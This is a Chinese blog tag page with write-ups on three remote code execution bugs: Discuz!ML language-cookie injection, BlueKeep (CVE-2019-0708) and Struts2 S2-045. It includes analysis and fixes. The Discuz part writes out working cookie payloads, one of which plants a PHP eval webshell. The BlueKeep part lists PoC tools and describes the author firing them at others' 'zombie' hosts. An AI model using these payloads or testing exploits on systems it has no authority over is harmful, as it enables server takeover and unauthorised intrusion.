Tag:远程代码执行

Tag (远程代码执行)'s result:

discuz ml RCE漏洞重现及分析

0x00 概述 7月11日,在网上发现discuz ml(多国语言版)出现RCE漏洞的消息,漏洞在于cookie的language可控并且没有严格过滤,导致可以远程代码执行。   0x01 影响范围 Discuz!ML v.3.4 , Discuz!ML v.3.2 , Discuz!ML v.3.3 product of codersclub.org   0x02 漏洞重现 http://xxx.org/discuzx/portal.php select english or other language   让请求cookie含有xxxx_xxxx_language visit http://xxx.org/discuzx/portal.php again change:4gH4_0df5_language=en’.phpinfo().’; or 4gH4_0df5_language=en’.system(‘whoami&&pwd’).’;   getshell LSmZ_2132_language=es’.file_put_contents%28%27xxxxxxx.php%27%2Curldecode%28%27%253c%253fphp%2520@eval%28%2524_%25%35%30%25%34%66%25%35%33%25%35%34%255b%2522x%2522%255d%29%253b%253f%253e%27%29%29.’;     0x03 检测工具 https://github.com/theLSA/discuz-ml-rce   0x04 漏洞分析 Discuz ml v3.4 为例 dizcuz-ml-34\upload\source\module\portal\portal_index.php:32 include_once template(‘diy:portal/index’); 包含了template函数渲染的文件 进入template函数看看 dizcuz-ml-34\upload\source\function\function_core.php:524 /*vot*/ $cachefile = ‘./data/template/’.DISCUZ_LANG.’_’.(defined(‘STYLEID’) ? STYLEID.’_’ : ‘_’).$templateid.’_’.str_replace(‘/’, ‘_’, $file).’.tpl.php’; if($templateid != 1 && !file_exists(DISCUZ_ROOT.$tplfile) && !file_exists(substr(DISCUZ_ROOT.$tplfile, 0, -4).’.php’) && !file_exists(DISCUZ_ROOT.($tplfile = $tpldir.$filebak.’.htm’))) { $tplfile = ‘./template/default/’.$filebak.’.htm’; } if($gettplfile) { return $tplfile; } checktplrefresh($tplfile, $tplfile, @filemtime(DISCUZ_ROOT.$cachefile), $templateid, $cachefile, $tpldir, $file); return DISCUZ_ROOT.$cachefile; 返回了缓存文件名 根据poc可知是language可控,那就是DISCUZ_LANG可控了。 再看看在哪里赋值 dizcuz-ml-34\upload\source\class\discuz\discuz_application.php:304 // set language from cookies   if($this->var[‘cookie’][‘language’]) {   $lng = strtolower($this->var[‘cookie’][‘language’]); 从cookie-language取值给$lng 338 $this->var[‘oldlanguage’] = $lng; // Store Old Language Value for compare   // define DISCUZ_LANG define(‘DISCUZ_LANG’, $lng);   // set new language to cookie dsetcookie(‘language’, $lng);   // set new language variables $this->var[‘language’] = $lng; $lng赋值给了DISCUZ_LANG 根据poc q3KZ_2132_language=sc’.system(‘whoami’).’; 最终include_once ‘sc’.system(‘whoami’).’_1_1_common_header_forum_index.tpl.php’; 包含闭合引号导致执行了代码。 /× 执行代码这部分存疑,参考https://www.anquanke.com/post/id/181887 ×/   0x05 防御方案 1. 关注 https://bitbucket.org/vot/discuz.ml/commits/all 2.过滤特殊字符(串)如单引号、双引号、括号,点,system、php、eval等。 3.禁止可控变量DISCUZ_LANG作为缓存文件名的一部分。   0x06 结语 Easy to rce!……

RDP RCE(CVE-2019-0708)集锦

//Really DO Patch ^_^ 0x00 概述 20190514,微软发布补丁,修复了一个严重的漏洞-rdp远程代码执行。该漏洞无需身份认证和用户交互,可能形成蠕虫爆发,影响堪比wannycry。   0x01影响范围 Windows 7 Windows Server 2008 R2 Windows Server 2008 Windows Server 2003 Windows XP   0x02 漏洞重现 poc已出,重现几个网上主流的poc: 1)360的0708detector.exe(无损扫描工具) //感觉不是很稳定,对同个ip有时成功有时不成功…… 一些根据此工具写的批量 https://github.com/biggerwing/CVE-2019-0708-poc https://github.com/autoing/CVE-2019-0708-POC   2)https://github.com/zerosum0x0/CVE-2019-0708 包含了msf的rb git clone https://github.com/zerosum0x0/CVE-2019-0708.git cd CVE-2019-0708/rdesktop-fork-bd6aa6acddf0ba640a49834807872f4cc0d0a773/ ./bootstrap ./configure –disable-credssp –disable-smartcard make ./rdesktop 192.168.1.7:3389 可能要apt-get install libssl1.0.0 libssl-dev 用scan_with_docker.py可以批量 //较稳定   3)https://github.com/Ekultek/BlueKeep.git 可以批量 先安装impacket https://github.com/SecureAuthCorp/impacket pip install -r requestments.txt pip install . vim bluekeep_poc.py 删除重复的一个impacket   4)https://github.com/robertdavidgraham/rdpscan 可批量 //较不稳定   5)https://github.com/Leoid/CVE-2019-0708 pip3 install impacket 6)https://github.com/n1xbyte/CVE-2019-0708 //20190531新增蓝屏poc,用03standx86测试出现 OpenSSL.SSL.SysCallError: (104, ‘ECONNRESET’) 应该是这个03系统问题 直接找几个僵尸主机测一测 //效果不错! 7)https://github.com/closethe/CVE-2019-0708-POC 试了几个都是timed out,可能是poc未完善…… 其他一些poc(未测试): https://github.com/skyshell20082008/CVE-2019-0708-PoC-Hitting-Path https://github.com/blacksunwen/CVE-2019-0708(和5基本一样) https://github.com/Jaky5155/cve-2019-0708-exp https://github.com/fourtwizzy/CVE-2019-0708-Check-Device-Patch-Status https://github.com/trickster0/CVE-2019-0708 https://github.com/algo7/bluekeep_CVE-2019-0708_poc_to_exploit(powershell)   截至发文(20190605),尚未发现公开可用exp,拭目以待! 360的某大神已搞出exp,能在win7 x64弹框了,未公开。   20190606,发现msf可获取meterpreter的exp,未公开。 https://twitter.com/zerosum0x0/status/1135866953996820480   /* 还有一堆假exp,利用ms12-020、os.system()、alert、假GUI、骗star等等。 www.cve-2019-0708.com(20190529无法访问了)据说是假的! */   0x03 漏洞分析   rdp基础 RDP 协议基于 T.128(T.120 协议族)提供多通道通信,并进行了拓展。 远程桌面协议(RDP)支持客户端建立点到点的连接,并定义了通信双方在虚拟通道间的数据通信方式,。这种虚拟通道为双向数据通道,可以扩展RDP的功能。Windows Server 2000在RDP v5.1中定义了32种静态虚拟通道(SVC),但是因为将来要定义的动态虚拟通道数量的限制,因此专用的通道svc数量受到一定限制。SVC是在会话开始时创建的,并在会话终止前保持不变,但DVC不同,因为它是根据用户需求来创建和删除的。 服务端在初始化阶段,会创建MS_T120, Index 为 31 的通道。在收到MCS Connect Initial数据封包后进行通道创建和绑定操作。 在IcaBindVirtualChannels函数中进行绑定时,IcaFindChannelByName函数只根据通道名进行通道查找。当通道名为MS_T120(不区分大小写)时,会找到系统内部通道 MS_T120的通道并与之绑定,绑定后,通道索引会即被更改为新的通道索引。 参考mcafee,seebug   本人用win7sp1 x64进行测试 查看termdd.sys,有修改 对比补丁前后 13628这个子模块变化比较大,先看看 发现加了stricmp比较,和ms_t120这个通道比较,为0就用写死的v19即31(rdp通道编号)作为第三个参数传入13ec8这个子模块,所以这里可以看出漏洞点应该是ms_t120这个通道,是就触发漏洞。 //bindiff没解析出_IcaBindChannel和_IcaBindVirtualChannels。 在安全机制启用前,系统初始化了RDP连接序列,并完成通道的建立,这导致了该漏洞可形成蠕虫。 在rdp的gcc协商初始化序列中,ms_t120这个svc会被绑定作为引用通道31。 这个通道编号31在microsoft内部使用,在客户端请求连接中不会出现ms_t120这个svc。 但是在GCC协商初始化的过程中,客户端提供的通道名称并不在服务器端的白名单中,这意味着攻击者将能够设置另一个名为“MS_T120”的不在编号31的SVC通道,这导致目标系统发生堆内存崩溃并实现远程代码执行。 MS_T120引用通道会在rdpwsx.dll中创建,堆内存也会在rdpwp.sys中分配内存池。当MS_T120引用通道在通道编号非31的场景下建立时,便会发生堆内存崩溃。 微软在termdd.sys的_IcaBindVirtualChannels和_IcaRebindVirtualChannels两个函数中为客户端的连接请求部分添加了针对通道名称“MS_T120”的检查代码,来保证ms_t120是和通道31进行绑定。   利用wireshark获取rdp数据包(winn2003stand without 0708 patch) 正常rdp连接: tcp三次握手后发送rdp数据,利用decode as tpkt解出rdp数据包 //第二遍tcp握手后(neg req=fff)才开始发clientdata 没有ms_t120通道信息     利用360无损检查工具发送的数据包(neg req=fff) 此处本人推测ms_t120通道编号是1,channelCount就是channelDefArray元素数,验证漏洞存在! 利用./rdesktop(第二个poc)对某僵尸主机发送的数据包: 此时推测ms_t120通道编号为2,验证漏洞存在! 利用蓝屏crashpoc.py对某僵尸主机发送的数据包: 本人才疏学浅,对rdp不甚了解,只能从浅层大概分析,高手可参考相关分析资料。 相关分析资料: 英文: https://securingtomorrow.mcafee.com/other-blogs/mcafee-labs/rdp-stands-for-really-do-patch-understanding-the-wormable-rdp-vulnerability-cve-2019-0708/(推荐) https://medium.com/@straightblast426/a-debugging-primer-with-cve-2019-0708-ccfa266682f6 https://wazehell.io/2019/05/22/cve-2019-0708-technical-analysis-rdp-rce/ https://www.malwaretech.com/2019/05/analysis-of-cve-2019-0708-bluekeep.html……

Apache Struts2 RCE bug (S2-045,CVE-2017-5638)

1.概述: 2017.03.07,网上曝出了apache struts2的RCE漏洞,编号CVE-2017-5638。 安恒信息安全研究院WEBIN实验室高级安全研究员nike.zheng发现著名J2EE框架——Struts2存在远程代码执行的严重漏洞。 2.什么是apache、struts? Apache Struts是美国阿帕奇(Apache)软件基金会负责维护的一个开源项目,是一套用于创建企业级Java Web应用的开源MVC框架。众所周知的SSH框架就是用了struts2。 3.漏洞原因: Struts使用的Jakarta解析文件上传请求出现异常时,对异常的处理不当,当远程攻击者构造恶意的Content-Type(注入ognl语言),可能导致RCE。 官方链接:https://cwiki.apache.org/confluence/display/WW/S2-045 4.影响版本: Struts 2.3.5 – Struts 2.3.31 Struts 2.5 – Struts 2.5.10 基本通杀了! 5.修复方案: 5.1:升级到Apache Struts 2.3.32或2.5.10.1版。 5.2:切换到不同的实现文件上传Multipart解析器(有3种可以选择,默认开启jakarta,此漏洞危害甚广!) 5.3:临时解决方案:删除commons-fileupload-x.x.x.jar文件(会造成上传功能不可用)。